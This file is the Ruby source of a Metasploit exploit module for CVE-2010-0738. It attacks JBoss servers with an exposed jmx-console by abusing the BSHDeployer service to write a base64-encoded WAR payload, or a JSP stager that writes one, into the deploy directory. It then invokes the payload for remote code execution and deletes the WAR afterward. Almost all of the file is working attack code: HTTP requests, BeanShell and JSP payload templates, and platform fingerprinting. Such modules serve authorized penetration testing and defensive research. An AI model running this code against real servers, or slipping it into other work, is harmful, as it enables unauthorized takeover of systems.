metasploit-framework/modules/exploits/multi/http/jboss_bshdeployer.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
'Description' => %q{
This module can be used to install a WAR file payload on JBoss servers that have
an exposed "jmx-console" application. The payload is put on the server by
using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
},
'Author' =>
[
'Patrick Hof',
'jduck',
'Konrads Smelkovs',
'h0ng10'
],
'License' => BSD_LICENSE,
'References' =>
[
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
],
'Privileged' => true,
'Platform' => ['java', 'win', 'linux' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
#
# do target detection but java meter by default
# detect via /manager/serverinfo
#
[ 'Automatic (Java based)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
} ],
#
# Platform specific targets only
#
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
[ 'Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
#
# Java version
#
[ 'Java Universal',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
}
]
],
'DisclosureDate' => "Apr 26 2010",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ]),
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
], self.class)
end
def exploit
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
# Dynamic variables, only used if we need a stager
stager_base = rand_text_alpha(8+rand(8))
stager_jsp_name = rand_text_alpha(8+rand(8))
content_var = rand_text_alpha(8+rand(8))
decoded_var = rand_text_alpha(8+rand(8))
file_path_var = rand_text_alpha(8+rand(8))
jboss_home_var = rand_text_alpha(8+rand(8))
fos_var = rand_text_alpha(8+rand(8))
# The following jsp script will write the exploded WAR file to the deploy/
# directory. This is used to bypass the size limit for GET/HEAD requests
stager_jsp = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
if (request.getParameter("#{content_var}") != null) {
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
try {
String #{content_var} = "";
#{content_var} = request.getParameter("#{content_var}");
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
#{fos_var}.write(#{decoded_var});
#{fos_var}.close();
}
catch(Exception e){ }
}
%>
EOT
p = payload
mytarget = target
if (target.name =~ /Automatic/)
mytarget = auto_target()
if (not mytarget)
fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target")
end
print_status("Automatically selected target \"#{mytarget.name}\"")
else
print_status("Using manually select target \"#{mytarget.name}\"")
end
arch = mytarget.arch
# set arch/platform from the target
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
# We must regenerate the payload in case our auto-magic changed something.
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
# Generate the WAR containing the payload
war_data = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s
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encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
if datastore['VERB'] == 'POST' then
deploy_payload_bsh(encoded_payload, app_base)
else
# We need to deploy a stager first
encoded_stager_jsp = Rex::Text.encode_base64(stager_jsp).gsub(/\n/, '')
deploy_stager_bsh(encoded_stager_jsp, stager_base, stager_jsp_name)
# now we call the stager to deploy our real payload war
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
payload_data = "#{content_var}=#{Rex::Text.uri_encode(encoded_payload)}"
print_status("Calling stager to deploy final payload")
call_uri_mtimes(stager_uri, 5, 'POST', payload_data)
end
#
# EXECUTE
#
uri = '/' + app_base + '/' + jsp_name + '.jsp'
print_status("Calling JSP file with final payload...")
print_status("Executing #{uri}...")
# The payload doesn't like POST requests
tmp_verb = datastore['VERB']
tmp_verb = 'GET' if tmp_verb == 'POST'
call_uri_mtimes(uri, 5, tmp_verb)
#
# DELETE
#
# The WAR can only be removed by physically deleting it, otherwise it
# will get redeployed after a server restart.
delete_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT
delete_stager_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}").delete();
new File(jboss_home + "/deploy/#{stager_base + '.war'}").delete();
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT
delete_script = delete_stager_script if datastore['VERB'] != 'POST'
print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
res = invoke_bshscript(delete_script, @pkg)
if !res
print_warning("WARNING: Unable to remove WAR [No Response]")
end
if (res.code < 200 || res.code >= 300)
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
end
handler
end
def deploy_stager_bsh(encoded_stager_code, stager_base, stager_jsp_name)
jsp_file_var = rand_text_alpha(8+rand(8))
jboss_home_var = rand_text_alpha(8+rand(8))
fstream_var = rand_text_alpha(8+rand(8))
byteval_var = rand_text_alpha(8+rand(8))
stager_var = rand_text_alpha(8+rand(8))
decoder_var = rand_text_alpha(8+rand(8))
# The following Beanshell script will write a short stager application into the deploy
# directory. This stager script is then used to install the payload
#
# This is neccessary to overcome the size limit for GET/HEAD requests
stager_bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
String #{stager_var} = "#{encoded_stager_code}";
BASE64Decoder #{decoder_var} = new BASE64Decoder();
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
new File(#{jboss_home_var} + "/deploy/#{stager_base + '.war'}").mkdir();
byte[] #{byteval_var} = #{decoder_var}.decodeBuffer(#{stager_var});
String #{jsp_file_var} = #{jboss_home_var} + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}";
FileOutputStream #{fstream_var} = new FileOutputStream(#{jsp_file_var});
#{fstream_var}.write(#{byteval_var});
#{fstream_var}.close();
EOT
print_status("Creating exploded WAR in deploy/#{stager_base}.war/ dir via BSHDeployer")
deploy_bsh(stager_bsh_script)
end
def deploy_payload_bsh(encoded_payload, app_base)
# The following Beanshell script will write the exploded WAR file to the deploy/
# directory
payload_bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
String val = "#{encoded_payload}";
BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
byte[] byteval = decoder.decodeBuffer(val);
String war_file = jboss_home + "/deploy/#{app_base + '.war'}";
FileOutputStream fstream = new FileOutputStream(war_file);
fstream.write(byteval);
fstream.close();
EOT
print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
deploy_bsh(payload_bsh_script)
end
def deploy_bsh(bsh_script)
if datastore['PACKAGE'] == 'auto'
packages = %w{ deployer scripts }
else
packages = [ datastore['PACKAGE'] ]
end
success = false
packages.each do |p|
print_status("Attempting to use '#{p}' as package")
res = invoke_bshscript(bsh_script, p)
if !res
fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR [No Response]")
end
if (res.code < 200 || res.code >= 300)
case res.code
when 401
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
fail_with(Exploit::Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
end
print_error("Upload to deploy WAR [#{res.code} #{res.message}]")
fail_with(Exploit::Failure::Unknown, "Invalid reply: #{res.code} #{res.message}")
else
success = true
@pkg = p
break
end
end
if not success
fail_with(Exploit::Failure::Unknown, "Failed to deploy the WAR payload")
end
end
def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
verb = datastore['VERB'] if verb.nil?
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# JBoss might need some time for the deployment. Try 5 times at most and
# wait 5 seconds inbetween tries
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num_attempts.times do |attempt|
if (verb == "POST")
res = send_request_cgi(
{
'uri' => uri,
'method' => verb,
'data' => data
}, 5)
else
uri += "?#{data}" unless data.nil?
res = send_request_cgi(
{
'uri' => uri,
'method' => verb
}, 30)
end
msg = nil
if (!res)
msg = "Execution failed on #{uri} [No Response]"
elsif (res.code < 200 or res.code >= 300)
msg = "http request failed to #{uri} [#{res.code}]"
elsif (res.code == 200)
print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
return res
end
if (attempt < num_attempts - 1)
msg << ", retrying in 5 seconds..."
print_status(msg) if datastore['VERBOSE']
select(nil, nil, nil, 5)
else
print_error(msg)
return res
end
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end
end
def auto_target
if datastore['VERB'] == 'HEAD' then
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print_status("Sorry, automatic target detection doesn't work with HEAD requests")
else
print_status("Attempting to automatically select a target...")
res = query_serverinfo
if not (plat = detect_platform(res))
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
end
if not (arch = detect_architecture(res))
fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!')
end
# see if we have a match
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
end
# no matching target found, use Java as fallback
java_targets = targets.select {|t| t.name =~ /^Java/ }
return java_targets[0]
end
def query_serverinfo
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
res = send_request_raw(
{
'uri' => path,
'method' => datastore['VERB']
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
res
end
# Try to autodetect the target platform
def detect_platform(res)
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /FreeBSD/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
# Try to autodetect the target architecture
def detect_architecture(res)
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
arch = $1
if (arch =~ /(x86|i386|i686)/i)
return ARCH_X86
elsif (os =~ /(x86_64|amd64)/i)
return ARCH_X86
end
end
nil
end
# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
def invoke_bshscript(bsh_script, pkg)
params = 'action=invokeOpByName'
params << '&name=jboss.' + pkg + ':service=BSHDeployer'
params << '&methodName=createScriptDeployment'
params << '&argType=java.lang.String'
params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
params << '&argType=java.lang.String'
params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'
if (datastore['VERB']== "POST")
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
'data' => params
})
else
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}"
}, 30)
end
res
end
end